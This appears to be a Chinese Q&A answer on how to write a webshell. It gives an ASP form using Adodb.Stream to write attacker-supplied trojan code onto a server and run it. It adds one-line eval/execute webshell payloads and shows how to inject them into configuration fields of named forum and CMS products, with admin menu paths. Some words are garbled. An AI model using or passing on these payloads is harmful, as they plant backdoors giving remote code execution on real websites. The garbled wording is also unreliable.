webshell怎么写出来的

<form action=http://主机路径/TEXT.asp method=post>

<textarea name=value cols=120 rows=10 width=45>

set lP=server.createObject("Adodb.Stream")//建立流对象

lP.Open //打开

lP.Type=2 //以文本方式

lP.CharSet="gb2312" //字体标准

lP.writetext request("newvalue")

lP.SaveToFile server.mappath("newmm.asp"),2 //将木马内容以覆盖文件的方式写入newmm.asp，2就是已覆盖的方式

lP.Close //关闭对象

set lP=nothing //释放对象

response.redirect "newmm.asp" //转向newmm.asp

</textarea>

<textarea name=newvalue cols=120 rows=10 width=45>（添入生成木马的内容）

</textarea>

<BR>

<center>

<input type=submit value=提交>

这里通过提交表单的方式，将木马提交上去，具体的做法是将定义一个对象IP，然后以文本方式写入newvalue里面举拦的内容（newvalue的内容在textarea定义），写入以覆盖的方式产生ASP文件，然后执行这个脚本。

其中客户端中的value代表的是表单的正老胡名字，必须跟服务端（本机）的post提交中的表单名一样，所以这里的value可以为含毁任意字符，相当于一个密码之类的东西，但是这个‘密码’是明文的，可以截取下来。

扩展资料：

写webshell的方法

利用""""：""//"等符号构造最小马写入程序的配置文件，joekoe论坛，某某同学录，沸腾展望新闻系统，COCOON Counter统计程序等等，还有很多php程序都可以。

举例，在管理邮箱处添上cnhacker@263.net"：eval request（chr （35））//， 

在配制文件中就是webmail="cnhacker@263.net\"：eval request（chr（35））//"，

还有一种方法就是写上 cnhacker@263.net"%><%eval request（chr（35））%><%'，这样就会形成前后对应，最小马也就运行了。<%eval request（chr（35））%>可以用lake2的eval发送端以及最新的2006 客户端来连，需要说明的是数据库插马时候要选前者。

再如动易2005，到文章中心管理-顶部菜单设置-菜单其它特效，插入一句话 马"%><%execute request（"l"）%><%'，保存顶部栏目菜单参数设置成功后，我们就得到马地址http://网站/admin/rootclass_menu_config.asp.

参考资料：

百度百科webshell